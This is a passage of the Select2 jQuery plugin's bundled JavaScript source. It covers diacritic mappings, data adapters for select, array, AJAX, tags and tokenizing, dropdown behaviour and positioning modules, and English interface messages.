    '\u00FA': 'u',
    '\u00FB': 'u',
    '\u0169': 'u',
    '\u1E79': 'u',
    '\u016B': 'u',
    '\u1E7B': 'u',
    '\u016D': 'u',
    '\u00FC': 'u',
    '\u01DC': 'u',
    '\u01D8': 'u',
    '\u01D6': 'u',
    '\u01DA': 'u',
    '\u1EE7': 'u',
    '\u016F': 'u',
    '\u0171': 'u',
    '\u01D4': 'u',
    '\u0215': 'u',
    '\u0217': 'u',
    '\u01B0': 'u',
    '\u1EEB': 'u',
    '\u1EE9': 'u',
    '\u1EEF': 'u',
    '\u1EED': 'u',
    '\u1EF1': 'u',
    '\u1EE5': 'u',
    '\u1E73': 'u',
    '\u0173': 'u',
    '\u1E77': 'u',
    '\u1E75': 'u',
    '\u0289': 'u',
    '\u24E5': 'v',
    '\uFF56': 'v',
    '\u1E7D': 'v',
    '\u1E7F': 'v',
    '\u028B': 'v',
    '\uA75F': 'v',
    '\u028C': 'v',
    '\uA761': 'vy',
    '\u24E6': 'w',
    '\uFF57': 'w',
    '\u1E81': 'w',
    '\u1E83': 'w',
    '\u0175': 'w',
    '\u1E87': 'w',
    '\u1E85': 'w',
    '\u1E98': 'w',
    '\u1E89': 'w',
    '\u2C73': 'w',
    '\u24E7': 'x',
    '\uFF58': 'x',
    '\u1E8B': 'x',
    '\u1E8D': 'x',
    '\u24E8': 'y',
    '\uFF59': 'y',
    '\u1EF3': 'y',
    '\u00FD': 'y',
    '\u0177': 'y',
    '\u1EF9': 'y',
    '\u0233': 'y',
    '\u1E8F': 'y',
    '\u00FF': 'y',
    '\u1EF7': 'y',
    '\u1E99': 'y',
    '\u1EF5': 'y',
    '\u01B4': 'y',
    '\u024F': 'y',
    '\u1EFF': 'y',
    '\u24E9': 'z',
    '\uFF5A': 'z',
    '\u017A': 'z',
    '\u1E91': 'z',
    '\u017C': 'z',
    '\u017E': 'z',
    '\u1E93': 'z',
    '\u1E95': 'z',
    '\u01B6': 'z',
    '\u0225': 'z',
    '\u0240': 'z',
    '\u2C6C': 'z',
    '\uA763': 'z',
    '\u0386': '\u0391',
    '\u0388': '\u0395',
    '\u0389': '\u0397',
    '\u038A': '\u0399',
    '\u03AA': '\u0399',
    '\u038C': '\u039F',
    '\u038E': '\u03A5',
    '\u03AB': '\u03A5',
    '\u038F': '\u03A9',
    '\u03AC': '\u03B1',
    '\u03AD': '\u03B5',
    '\u03AE': '\u03B7',
    '\u03AF': '\u03B9',
    '\u03CA': '\u03B9',
    '\u0390': '\u03B9',
    '\u03CC': '\u03BF',
    '\u03CD': '\u03C5',
    '\u03CB': '\u03C5',
    '\u03B0': '\u03C5',
    '\u03C9': '\u03C9',
    '\u03C2': '\u03C3'
  };

  return diacritics;
});

S2.define('select2/data/base',[
  '../utils'
], function (Utils) {
  function BaseAdapter ($element, options) {
    BaseAdapter.__super__.constructor.call(this);
  }

  Utils.Extend(BaseAdapter, Utils.Observable);

  BaseAdapter.prototype.current = function (callback) {
    throw new Error('The `current` method must be defined in child classes.');
  };

  BaseAdapter.prototype.query = function (params, callback) {
    throw new Error('The `query` method must be defined in child classes.');
  };

  BaseAdapter.prototype.bind = function (container, $container) {
    // Can be implemented in subclasses
  };

  BaseAdapter.prototype.destroy = function () {
    // Can be implemented in subclasses
  };

  BaseAdapter.prototype.generateResultId = function (container, data) {
    var id = '';

    if (container != null) {
      id += container.id
    } else {
      id += Utils.generateChars(4);
    }

    id += '-result-';
    id += Utils.generateChars(4);

    if (data.id != null) {
      id += '-' + data.id.toString();
    } else {
      id += '-' + Utils.generateChars(4);
    }
    return id;
  };

  return BaseAdapter;
});

S2.define('select2/data/select',[
  './base',
  '../utils',
  'jquery'
], function (BaseAdapter, Utils, $) {
  function SelectAdapter ($element, options) {
    this.$element = $element;
    this.options = options;

    SelectAdapter.__super__.constructor.call(this);
  }

  Utils.Extend(SelectAdapter, BaseAdapter);

  SelectAdapter.prototype.current = function (callback) {
    var data = [];
    var self = this;

    this.$element.find(':selected').each(function () {
      var $option = $(this);

      var option = self.item($option);

      data.push(option);
    });

    callback(data);
  };

  SelectAdapter.prototype.select = function (data) {
    var self = this;

    data.selected = true;

    // If data.element is a DOM node, use it instead
    if ($(data.element).is('option')) {
      data.element.selected = true;

      this.$element.trigger('change');

      return;
    }

    if (this.$element.prop('multiple')) {
      this.current(function (currentData) {
        var val = [];

        data = [data];
        data.push.apply(data, currentData);

        for (var d = 0; d < data.length; d++) {
          var id = data[d].id;

          if ($.inArray(id, val) === -1) {
            val.push(id);
          }
        }

        self.$element.val(val);
        self.$element.trigger('change');
      });
    } else {
      var val = data.id;

      this.$element.val(val);
      this.$element.trigger('change');
    }
  };

  SelectAdapter.prototype.unselect = function (data) {
    var self = this;

    if (!this.$element.prop('multiple')) {
      return;
    }

    data.selected = false;

    if ($(data.element).is('option')) {
      data.element.selected = false;

      this.$element.trigger('change');

      return;
    }

    this.current(function (currentData) {
      var val = [];

      for (var d = 0; d < currentData.length; d++) {
        var id = currentData[d].id;

        if (id !== data.id && $.inArray(id, val) === -1) {
          val.push(id);
        }
      }

      self.$element.val(val);

      self.$element.trigger('change');
    });
  };

  SelectAdapter.prototype.bind = function (container, $container) {
    var self = this;

    this.container = container;

    container.on('select', function (params) {
      self.select(params.data);
    });

    container.on('unselect', function (params) {
      self.unselect(params.data);
    });
  };

  SelectAdapter.prototype.destroy = function () {
    // Remove anything added to child elements
    this.$element.find('*').each(function () {
      // Remove any custom data set by Select2
      $.removeData(this, 'data');
    });
  };

  SelectAdapter.prototype.query = function (params, callback) {
    var data = [];
    var self = this;

    var $options = this.$element.children();

    $options.each(function () {
      var $option = $(this);

      if (!$option.is('option') && !$option.is('optgroup')) {
        return;
      }

      var option = self.item($option);

      var matches = self.matches(params, option);

      if (matches !== null) {
        data.push(matches);
      }
    });

    callback({
      results: data
    });
  };

  SelectAdapter.prototype.addOptions = function ($options) {
    Utils.appendMany(this.$element, $options);
  };

  SelectAdapter.prototype.option = function (data) {
    var option;

    if (data.children) {
      option = document.createElement('optgroup');
      option.label = data.text;
    } else {
      option = document.createElement('option');

      if (option.textContent !== undefined) {
        option.textContent = data.text;
      } else {
        option.innerText = data.text;
      }
    }

    if (data.id !== undefined) {
      option.value = data.id;
    }

    if (data.disabled) {
      option.disabled = true;
    }

    if (data.selected) {
      option.selected = true;
    }

    if (data.title) {
      option.title = data.title;
    }

    var $option = $(option);

    var normalizedData = this._normalizeItem(data);
    normalizedData.element = option;

    // Override the option's data with the combined data
    $.data(option, 'data', normalizedData);

    return $option;
  };

  SelectAdapter.prototype.item = function ($option) {
    var data = {};

    data = $.data($option[0], 'data');

    if (data != null) {
      return data;
    }

    if ($option.is('option')) {
      data = {
        id: $option.val(),
        text: $option.text(),
        disabled: $option.prop('disabled'),
        selected: $option.prop('selected'),
        title: $option.prop('title')
      };
    } else if ($option.is('optgroup')) {
      data = {
        text: $option.prop('label'),
        children: [],
        title: $option.prop('title')
      };

      var $children = $option.children('option');
      var children = [];

      for (var c = 0; c < $children.length; c++) {
        var $child = $($children[c]);

        var child = this.item($child);

        children.push(child);
      }

      data.children = children;
    }

    data = this._normalizeItem(data);
    data.element = $option[0];

    $.data($option[0], 'data', data);

    return data;
  };

  SelectAdapter.prototype._normalizeItem = function (item) {
    if (!$.isPlainObject(item)) {
      item = {
        id: item,
        text: item
      };
    }

    item = $.extend({}, {
      text: ''
    }, item);

    var defaults = {
      selected: false,
      disabled: false
    };

    if (item.id != null) {
      item.id = item.id.toString();
    }

    if (item.text != null) {
      item.text = item.text.toString();
    }

    if (item._resultId == null && item.id) {
      item._resultId = this.generateResultId(this.container, item);
    }

    return $.extend({}, defaults, item);
  };

  SelectAdapter.prototype.matches = function (params, data) {
    var matcher = this.options.get('matcher');

    return matcher(params, data);
  };

  return SelectAdapter;
});

S2.define('select2/data/array',[
  './select',
  '../utils',
  'jquery'
], function (SelectAdapter, Utils, $) {
  function ArrayAdapter ($element, options) {
    var data = options.get('data') || [];

    ArrayAdapter.__super__.constructor.call(this, $element, options);

    this.addOptions(this.convertToOptions(data));
  }

  Utils.Extend(ArrayAdapter, SelectAdapter);

  ArrayAdapter.prototype.select = function (data) {
    var $option = this.$element.find('option').filter(function (i, elm) {
      return elm.value == data.id.toString();
    });

    if ($option.length === 0) {
      $option = this.option(data);

      this.addOptions($option);
    }

    ArrayAdapter.__super__.select.call(this, data);
  };

  ArrayAdapter.prototype.convertToOptions = function (data) {
    var self = this;

    var $existing = this.$element.find('option');
    var existingIds = $existing.map(function () {
      return self.item($(this)).id;
    }).get();

    var $options = [];

    // Filter out all items except for the one passed in the argument
    function onlyItem (item) {
      return function () {
        return $(this).val() == item.id;
      };
    }

    for (var d = 0; d < data.length; d++) {
      var item = this._normalizeItem(data[d]);

      // Skip items which were pre-loaded, only merge the data
      if ($.inArray(item.id, existingIds) >= 0) {
        var $existingOption = $existing.filter(onlyItem(item));

        var existingData = this.item($existingOption);
        var newData = $.extend(true, {}, item, existingData);

        var $newOption = this.option(newData);

        $existingOption.replaceWith($newOption);

        continue;
      }

      var $option = this.option(item);

      if (item.children) {
        var $children = this.convertToOptions(item.children);

        Utils.appendMany($option, $children);
      }

      $options.push($option);
    }

    return $options;
  };

  return ArrayAdapter;
});

S2.define('select2/data/ajax',[
  './array',
  '../utils',
  'jquery'
], function (ArrayAdapter, Utils, $) {
  function AjaxAdapter ($element, options) {
    this.ajaxOptions = this._applyDefaults(options.get('ajax'));

    if (this.ajaxOptions.processResults != null) {
      this.processResults = this.ajaxOptions.processResults;
    }

    AjaxAdapter.__super__.constructor.call(this, $element, options);
  }

  Utils.Extend(AjaxAdapter, ArrayAdapter);

  AjaxAdapter.prototype._applyDefaults = function (options) {
    var defaults = {
      data: function (params) {
        return $.extend({}, params, {
          q: params.term
        });
      },
      transport: function (params, success, failure) {
        var $request = $.ajax(params);

        $request.then(success);
        $request.fail(failure);

        return $request;
      }
    };

    return $.extend({}, defaults, options, true);
  };

  AjaxAdapter.prototype.processResults = function (results) {
    return results;
  };

  AjaxAdapter.prototype.query = function (params, callback) {
    var matches = [];
    var self = this;

    if (this._request != null) {
      // JSONP requests cannot always be aborted
      if ($.isFunction(this._request.abort)) {
        this._request.abort();
      }

      this._request = null;
    }

    var options = $.extend({
      type: 'GET'
    }, this.ajaxOptions);

    if (typeof options.url === 'function') {
      options.url = options.url.call(this.$element, params);
    }

    if (typeof options.data === 'function') {
      options.data = options.data.call(this.$element, params);
    }

    function request () {
      var $request = options.transport(options, function (data) {
        var results = self.processResults(data, params);

        if (self.options.get('debug') && window.console && console.error) {
          // Check to make sure that the response included a `results` key.
          if (!results || !results.results || !$.isArray(results.results)) {
            console.error(
              'Select2: The AJAX results did not return an array in the ' +
              '`results` key of the response.'
            );
          }
        }

        callback(results);
        self.container.focusOnActiveElement();
      }, function () {
        // Attempt to detect if a request was aborted
        // Only works if the transport exposes a status property
        if ($request.status && $request.status === '0') {
          return;
        }

        self.trigger('results:message', {
          message: 'errorLoading'
        });
      });

      self._request = $request;
    }

    if (this.ajaxOptions.delay && params.term != null) {
      if (this._queryTimeout) {
        window.clearTimeout(this._queryTimeout);
      }

      this._queryTimeout = window.setTimeout(request, this.ajaxOptions.delay);
    } else {
      request();
    }
  };

  return AjaxAdapter;
});

S2.define('select2/data/tags',[
  'jquery'
], function ($) {
  function Tags (decorated, $element, options) {
    var tags = options.get('tags');

    var createTag = options.get('createTag');

    if (createTag !== undefined) {
      this.createTag = createTag;
    }

    var insertTag = options.get('insertTag');

    if (insertTag !== undefined) {
        this.insertTag = insertTag;
    }

    decorated.call(this, $element, options);

    if ($.isArray(tags)) {
      for (var t = 0; t < tags.length; t++) {
        var tag = tags[t];
        var item = this._normalizeItem(tag);

        var $option = this.option(item);

        this.$element.append($option);
      }
    }
  }

  Tags.prototype.query = function (decorated, params, callback) {
    var self = this;

    this._removeOldTags();

    if (params.term == null || params.page != null) {
      decorated.call(this, params, callback);
      return;
    }

    function wrapper (obj, child) {
      var data = obj.results;

      for (var i = 0; i < data.length; i++) {
        var option = data[i];

        var checkChildren = (
          option.children != null &&
          !wrapper({
            results: option.children
          }, true)
        );

        var optionText = (option.text || '').toUpperCase();
        var paramsTerm = (params.term || '').toUpperCase();

        var checkText = optionText === paramsTerm;

        if (checkText || checkChildren) {
          if (child) {
            return false;
          }

          obj.data = data;
          callback(obj);

          return;
        }
      }

      if (child) {
        return true;
      }

      var tag = self.createTag(params);

      if (tag != null) {
        var $option = self.option(tag);
        $option.attr('data-select2-tag', true);

        self.addOptions([$option]);

        self.insertTag(data, tag);
      }

      obj.results = data;

      callback(obj);
    }

    decorated.call(this, params, wrapper);
  };

  Tags.prototype.createTag = function (decorated, params) {
    var term = $.trim(params.term);

    if (term === '') {
      return null;
    }

    return {
      id: term,
      text: term
    };
  };

  Tags.prototype.insertTag = function (_, data, tag) {
    data.unshift(tag);
  };

  Tags.prototype._removeOldTags = function (_) {
    var tag = this._lastTag;

    var $options = this.$element.find('option[data-select2-tag]');

    $options.each(function () {
      if (this.selected) {
        return;
      }

      $(this).remove();
    });
  };

  return Tags;
});

S2.define('select2/data/tokenizer',[
  'jquery'
], function ($) {
  function Tokenizer (decorated, $element, options) {
    var tokenizer = options.get('tokenizer');

    if (tokenizer !== undefined) {
      this.tokenizer = tokenizer;
    }

    decorated.call(this, $element, options);
  }

  Tokenizer.prototype.bind = function (decorated, container, $container) {
    decorated.call(this, container, $container);

    this.$search =  container.dropdown.$search || container.selection.$search ||
      $container.find('.select2-search__field');
  };

  Tokenizer.prototype.query = function (decorated, params, callback) {
    var self = this;

    function createAndSelect (data) {
      // Normalize the data object so we can use it for checks
      var item = self._normalizeItem(data);

      // Check if the data object already exists as a tag
      // Select it if it doesn't
      var $existingOptions = self.$element.find('option').filter(function () {
        return $(this).val() === item.id;
      });

      // If an existing option wasn't found for it, create the option
      if (!$existingOptions.length) {
        var $option = self.option(item);
        $option.attr('data-select2-tag', true);

        self._removeOldTags();
        self.addOptions([$option]);
      }

      // Select the item, now that we know there is an option for it
      select(item);
    }

    function select (data) {
      self.trigger('select', {
        data: data
      });
    }

    params.term = params.term || '';

    var tokenData = this.tokenizer(params, this.options, createAndSelect);

    if (tokenData.term !== params.term) {
      // Replace the search term if we have the search box
      if (this.$search.length) {
        this.$search.val(tokenData.term);
        this.$search.focus();
      }

      params.term = tokenData.term;
    }

    decorated.call(this, params, callback);
  };

  Tokenizer.prototype.tokenizer = function (_, params, options, callback) {
    var separators = options.get('tokenSeparators') || [];
    var term = params.term;
    var i = 0;

    var createTag = this.createTag || function (params) {
      return {
        id: params.term,
        text: params.term
      };
    };

    while (i < term.length) {
      var termChar = term[i];

      if ($.inArray(termChar, separators) === -1) {
        i++;

        continue;
      }

      var part = term.substr(0, i);
      var partParams = $.extend({}, params, {
        term: part
      });

      var data = createTag(partParams);

      if (data == null) {
        i++;
        continue;
      }

      callback(data);

      // Reset the term to not include the tokenized portion
      term = term.substr(i + 1) || '';
      i = 0;
    }

    return {
      term: term
    };
  };

  return Tokenizer;
});

S2.define('select2/data/minimumInputLength',[

], function () {
  function MinimumInputLength (decorated, $e, options) {
    this.minimumInputLength = options.get('minimumInputLength');

    decorated.call(this, $e, options);
  }

  MinimumInputLength.prototype.query = function (decorated, params, callback) {
    params.term = params.term || '';

    if (params.term.length < this.minimumInputLength) {
      this.trigger('results:message', {
        message: 'inputTooShort',
        args: {
          minimum: this.minimumInputLength,
          input: params.term,
          params: params
        }
      });

      return;
    }

    decorated.call(this, params, callback);
  };

  return MinimumInputLength;
});

S2.define('select2/data/maximumInputLength',[

], function () {
  function MaximumInputLength (decorated, $e, options) {
    this.maximumInputLength = options.get('maximumInputLength');

    decorated.call(this, $e, options);
  }

  MaximumInputLength.prototype.query = function (decorated, params, callback) {
    params.term = params.term || '';

    if (this.maximumInputLength > 0 &&
        params.term.length > this.maximumInputLength) {
      this.trigger('results:message', {
        message: 'inputTooLong',
        args: {
          maximum: this.maximumInputLength,
          input: params.term,
          params: params
        }
      });

      return;
    }

    decorated.call(this, params, callback);
  };

  return MaximumInputLength;
});

S2.define('select2/data/maximumSelectionLength',[

], function (){
  function MaximumSelectionLength (decorated, $e, options) {
    this.maximumSelectionLength = options.get('maximumSelectionLength');

    decorated.call(this, $e, options);
  }

  MaximumSelectionLength.prototype.query =
    function (decorated, params, callback) {
      var self = this;

      this.current(function (currentData) {
        var count = currentData != null ? currentData.length : 0;
        if (self.maximumSelectionLength > 0 &&
          count >= self.maximumSelectionLength) {
          self.trigger('results:message', {
            message: 'maximumSelected',
            args: {
              maximum: self.maximumSelectionLength
            }
          });
          return;
        }
        decorated.call(self, params, callback);
      });
  };

  return MaximumSelectionLength;
});

S2.define('select2/dropdown',[
  'jquery',
  './utils'
], function ($, Utils) {
  function Dropdown ($element, options) {
    this.$element = $element;
    this.options = options;

    Dropdown.__super__.constructor.call(this);
  }

  Utils.Extend(Dropdown, Utils.Observable);

  Dropdown.prototype.render = function () {
    var $dropdown = $(
      '<span class="select2-dropdown">' +
        '<span class="select2-results"></span>' +
      '</span>'
    );

    $dropdown.attr('dir', this.options.get('dir'));

    this.$dropdown = $dropdown;

    return $dropdown;
  };

  Dropdown.prototype.bind = function () {
    // Should be implemented in subclasses
  };

  Dropdown.prototype.position = function ($dropdown, $container) {
    // Should be implmented in subclasses
  };

  Dropdown.prototype.destroy = function () {
    // Remove the dropdown from the DOM
    this.$dropdown.remove();
  };

  return Dropdown;
});

S2.define('select2/dropdown/search',[
  'jquery',
  '../utils'
], function ($, Utils) {
  function Search () { }

  Search.prototype.render = function (decorated) {
    var $rendered = decorated.call(this);

    var $search = $(
      '<span class="select2-search select2-search--dropdown">' +
        '<input class="select2-search__field" type="text" tabindex="-1"' +
        ' autocomplete="off" autocorrect="off" autocapitalize="none"' +
        ' spellcheck="false" role="combobox" aria-autocomplete="list" aria-expanded="true" />' +
      '</span>'
    );

    this.$searchContainer = $search;
    this.$search = $search.find('input');

    $rendered.prepend($search);

    return $rendered;
  };

  Search.prototype.bind = function (decorated, container, $container) {
    var self = this;
    var resultsId = container.id + '-results';

    decorated.call(this, container, $container);

    this.$search.on('keydown', function (evt) {
      self.trigger('keypress', evt);

      self._keyUpPrevented = evt.isDefaultPrevented();
    });

    // Workaround for browsers which do not support the `input` event
    // This will prevent double-triggering of events for browsers which support
    // both the `keyup` and `input` events.
    this.$search.on('input', function (evt) {
      // Unbind the duplicated `keyup` event
      $(this).off('keyup');
    });

    this.$search.on('keyup input', function (evt) {
      self.handleSearch(evt);
    });

    container.on('open', function () {
      self.$search.attr('tabindex', 0);
      self.$search.attr('aria-owns', resultsId);
      self.$search.focus();

      window.setTimeout(function () {
        self.$search.focus();
      }, 0);
    });

    container.on('close', function () {
      self.$search.attr('tabindex', -1);
      self.$search.removeAttr('aria-activedescendant');
      self.$search.removeAttr('aria-owns');
      self.$search.val('');
    });

    container.on('focus', function () {
      if (!container.isOpen()) {
        self.$search.focus();
      }
    });

    container.on('results:all', function (params) {
      if (params.query.term == null || params.query.term === '') {
        var showSearch = self.showSearch(params);

        if (showSearch) {
          self.$searchContainer.removeClass('select2-search--hide');
        } else {
          self.$searchContainer.addClass('select2-search--hide');
        }
      }
    });

    container.on('results:focus', function (params) {
      self.$search.attr('aria-activedescendant', params.data._resultId);
    });
  };

  Search.prototype.handleSearch = function (evt) {
    if (!this._keyUpPrevented) {
      var input = this.$search.val();

      this.trigger('query', {
        term: input
      });
    }

    this._keyUpPrevented = false;
  };

  Search.prototype.showSearch = function (_, params) {
    return true;
  };

  return Search;
});

S2.define('select2/dropdown/hidePlaceholder',[

], function () {
  function HidePlaceholder (decorated, $element, options, dataAdapter) {
    this.placeholder = this.normalizePlaceholder(options.get('placeholder'));

    decorated.call(this, $element, options, dataAdapter);
  }

  HidePlaceholder.prototype.append = function (decorated, data) {
    data.results = this.removePlaceholder(data.results);

    decorated.call(this, data);
  };

  HidePlaceholder.prototype.normalizePlaceholder = function (_, placeholder) {
    if (typeof placeholder === 'string') {
      placeholder = {
        id: '',
        text: placeholder
      };
    }

    return placeholder;
  };

  HidePlaceholder.prototype.removePlaceholder = function (_, data) {
    var modifiedData = data.slice(0);

    for (var d = data.length - 1; d >= 0; d--) {
      var item = data[d];

      if (this.placeholder.id === item.id) {
        modifiedData.splice(d, 1);
      }
    }

    return modifiedData;
  };

  return HidePlaceholder;
});

S2.define('select2/dropdown/infiniteScroll',[
  'jquery'
], function ($) {
  function InfiniteScroll (decorated, $element, options, dataAdapter) {
    this.lastParams = {};

    decorated.call(this, $element, options, dataAdapter);

    this.$loadingMore = this.createLoadingMore();
    this.loading = false;
  }

  InfiniteScroll.prototype.append = function (decorated, data) {
    this.$loadingMore.remove();
    this.loading = false;

    decorated.call(this, data);

    if (this.showLoadingMore(data)) {
      this.$results.append(this.$loadingMore);
    }
  };

  InfiniteScroll.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('query', function (params) {
      self.lastParams = params;
      self.loading = true;
    });

    container.on('query:append', function (params) {
      self.lastParams = params;
      self.loading = true;
    });

    this.$results.on('scroll', function () {
      var isLoadMoreVisible = $.contains(
        document.documentElement,
        self.$loadingMore[0]
      );

      if (self.loading || !isLoadMoreVisible) {
        return;
      }

      var currentOffset = self.$results.offset().top +
        self.$results.outerHeight(false);
      var loadingMoreOffset = self.$loadingMore.offset().top +
        self.$loadingMore.outerHeight(false);

      if (currentOffset + 50 >= loadingMoreOffset) {
        self.loadMore();
      }
    });
  };

  InfiniteScroll.prototype.loadMore = function () {
    this.loading = true;

    var params = $.extend({}, {page: 1}, this.lastParams);

    params.page++;

    this.trigger('query:append', params);
  };

  InfiniteScroll.prototype.showLoadingMore = function (_, data) {
    return data.pagination && data.pagination.more;
  };

  InfiniteScroll.prototype.createLoadingMore = function () {
    var $option = $(
      '<li ' +
      'class="select2-results__option select2-results__option--load-more"' +
      'role="option" aria-disabled="true"></li>'
    );

    var message = this.options.get('translations').get('loadingMore');

    $option.html(message(this.lastParams));

    return $option;
  };

  return InfiniteScroll;
});

S2.define('select2/dropdown/attachBody',[
  'jquery',
  '../utils'
], function ($, Utils) {
  function AttachBody (decorated, $element, options) {
    this.$dropdownParent = options.get('dropdownParent') || $(document.body);

    decorated.call(this, $element, options);
  }

  AttachBody.prototype.bind = function (decorated, container, $container) {
    var self = this;

    var setupResultsEvents = false;

    decorated.call(this, container, $container);

    container.on('open', function () {
      self._showDropdown();
      self._attachPositioningHandler(container);

      if (!setupResultsEvents) {
        setupResultsEvents = true;

        container.on('results:all', function () {
          self._positionDropdown();
          self._resizeDropdown();
        });

        container.on('results:append', function () {
          self._positionDropdown();
          self._resizeDropdown();
        });
      }
    });

    container.on('close', function () {
      self._hideDropdown();
      self._detachPositioningHandler(container);
    });

    this.$dropdownContainer.on('mousedown', function (evt) {
      evt.stopPropagation();
    });
  };

  AttachBody.prototype.destroy = function (decorated) {
    decorated.call(this);

    this.$dropdownContainer.remove();
  };

  AttachBody.prototype.position = function (decorated, $dropdown, $container) {
    // Clone all of the container classes
    $dropdown.attr('class', $container.attr('class'));

    $dropdown.removeClass('select2');
    $dropdown.addClass('select2-container--open');

    $dropdown.css({
      position: 'absolute',
      top: -999999
    });

    this.$container = $container;
  };

  AttachBody.prototype.render = function (decorated) {
    var $container = $('<span></span>');

    var $dropdown = decorated.call(this);
    $container.append($dropdown);

    this.$dropdownContainer = $container;

    return $container;
  };

  AttachBody.prototype._hideDropdown = function (decorated) {
    this.$dropdownContainer.detach();
  };

  AttachBody.prototype._attachPositioningHandler =
      function (decorated, container) {
    var self = this;

    var scrollEvent = 'scroll.select2.' + container.id;
    var resizeEvent = 'resize.select2.' + container.id;
    var orientationEvent = 'orientationchange.select2.' + container.id;

    var $watchers = this.$container.parents().filter(Utils.hasScroll);
    $watchers.each(function () {
      $(this).data('select2-scroll-position', {
        x: $(this).scrollLeft(),
        y: $(this).scrollTop()
      });
    });

    $watchers.on(scrollEvent, function (ev) {
      var position = $(this).data('select2-scroll-position');
      $(this).scrollTop(position.y);
    });

    $(window).on(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent,
      function (e) {
      self._positionDropdown();
      self._resizeDropdown();
    });
  };

  AttachBody.prototype._detachPositioningHandler =
      function (decorated, container) {
    var scrollEvent = 'scroll.select2.' + container.id;
    var resizeEvent = 'resize.select2.' + container.id;
    var orientationEvent = 'orientationchange.select2.' + container.id;

    var $watchers = this.$container.parents().filter(Utils.hasScroll);
    $watchers.off(scrollEvent);

    $(window).off(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent);
  };

  AttachBody.prototype._positionDropdown = function () {
    var $window = $(window);

    var isCurrentlyAbove = this.$dropdown.hasClass('select2-dropdown--above');
    var isCurrentlyBelow = this.$dropdown.hasClass('select2-dropdown--below');

    var newDirection = null;

    var offset = this.$container.offset();

    offset.bottom = offset.top + this.$container.outerHeight(false);

    var container = {
      height: this.$container.outerHeight(false)
    };

    container.top = offset.top;
    container.bottom = offset.top + container.height;

    var dropdown = {
      height: this.$dropdown.outerHeight(false)
    };

    var viewport = {
      top: $window.scrollTop(),
      bottom: $window.scrollTop() + $window.height()
    };

    var enoughRoomAbove = viewport.top < (offset.top - dropdown.height);
    var enoughRoomBelow = viewport.bottom > (offset.bottom + dropdown.height);

    var css = {
      left: offset.left,
      top: container.bottom
    };

    // Determine what the parent element is to use for calciulating the offset
    var $offsetParent = this.$dropdownParent;

    // For statically positoned elements, we need to get the element
    // that is determining the offset
    if ($offsetParent.css('position') === 'static') {
      $offsetParent = $offsetParent.offsetParent();
    }

    var parentOffset = $offsetParent.offset();

    css.top -= parentOffset.top;
    css.left -= parentOffset.left;

    if (!isCurrentlyAbove && !isCurrentlyBelow) {
      newDirection = 'below';
    }

    if (!enoughRoomBelow && enoughRoomAbove && !isCurrentlyAbove) {
      newDirection = 'above';
    } else if (!enoughRoomAbove && enoughRoomBelow && isCurrentlyAbove) {
      newDirection = 'below';
    }

    if (newDirection == 'above' ||
      (isCurrentlyAbove && newDirection !== 'below')) {
      css.top = container.top - parentOffset.top - dropdown.height;
    }

    if (newDirection != null) {
      this.$dropdown
        .removeClass('select2-dropdown--below select2-dropdown--above')
        .addClass('select2-dropdown--' + newDirection);
      this.$container
        .removeClass('select2-container--below select2-container--above')
        .addClass('select2-container--' + newDirection);
    }

    this.$dropdownContainer.css(css);
  };

  AttachBody.prototype._resizeDropdown = function () {
    var css = {
      width: this.$container.outerWidth(false) + 'px'
    };

    if (this.options.get('dropdownAutoWidth')) {
      css.minWidth = css.width;
      css.position = 'relative';
      css.width = 'auto';
    }

    this.$dropdown.css(css);
  };

  AttachBody.prototype._showDropdown = function (decorated) {
    this.$dropdownContainer.appendTo(this.$dropdownParent);

    this._positionDropdown();
    this._resizeDropdown();
  };

  return AttachBody;
});

S2.define('select2/dropdown/minimumResultsForSearch',[

], function () {
  function countResults (data) {
    var count = 0;

    for (var d = 0; d < data.length; d++) {
      var item = data[d];

      if (item.children) {
        count += countResults(item.children);
      } else {
        count++;
      }
    }

    return count;
  }

  function MinimumResultsForSearch (decorated, $element, options, dataAdapter) {
    this.minimumResultsForSearch = options.get('minimumResultsForSearch');

    if (this.minimumResultsForSearch < 0) {
      this.minimumResultsForSearch = Infinity;
    }

    decorated.call(this, $element, options, dataAdapter);
  }

  MinimumResultsForSearch.prototype.showSearch = function (decorated, params) {
    if (countResults(params.data.results) < this.minimumResultsForSearch) {
      return false;
    }

    return decorated.call(this, params);
  };

  return MinimumResultsForSearch;
});

S2.define('select2/dropdown/selectOnClose',[

], function () {
  function SelectOnClose () { }

  SelectOnClose.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('close', function (params) {
      self._handleSelectOnClose(params);
    });
  };

  SelectOnClose.prototype._handleSelectOnClose = function (_, params) {
    if (params && params.originalSelect2Event != null) {
      var event = params.originalSelect2Event;

      // Don't select an item if the close event was triggered from a select or
      // unselect event
      if (event._type === 'select' || event._type === 'unselect') {
        return;
      }
    }

    var $highlightedResults = this.getHighlightedResults();

    // Only select highlighted results
    if ($highlightedResults.length < 1) {
      return;
    }

    var data = $highlightedResults.data('data');

    // Don't re-select already selected resulte
    if (
      (data.element != null && data.element.selected) ||
      (data.element == null && data.selected)
    ) {
      return;
    }

    this.trigger('select', {
        data: data
    });
  };

  return SelectOnClose;
});

S2.define('select2/dropdown/closeOnSelect',[

], function () {
  function CloseOnSelect () { }

  CloseOnSelect.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('select', function (evt) {
      self._selectTriggered(evt);
    });

    container.on('unselect', function (evt) {
      self._selectTriggered(evt);
    });
  };

  CloseOnSelect.prototype._selectTriggered = function (_, evt) {
    var originalEvent = evt.originalEvent;

    // Don't close if the control key is being held
    if (originalEvent && originalEvent.ctrlKey) {
      return;
    }

    this.trigger('close', {
      originalEvent: originalEvent,
      originalSelect2Event: evt
    });
  };

  return CloseOnSelect;
});

S2.define('select2/i18n/en',[],function () {
  // English
  return {
    errorLoading: function () {
      return 'The results could not be loaded.';
    },
    inputTooLong: function (args) {
      var overChars = args.input.length - args.maximum;

      var message = 'Please delete ' + overChars + ' character';

      if (overChars != 1) {
        message += 's';
      }

      return message;
    },
    inputTooShort: function (args) {
      var remainingChars = args.minimum - args.input.length;

      var message = 'Please enter ' + remainingChars + ' or more characters';

      return message;
    },
    loadingMore: function () {
      return 'Loading more results…';
    },
    maximumSelected: function (args) {
      var message = 'You can only select ' + args.maximum + ' item';

      if (args.maximum != 1) {
        message += 's';
      }

      return message;
    },
    noResults: function () {
      return 'No results found';
    },
    searching: function () {
      return 'Searching…';
    }
  };
});

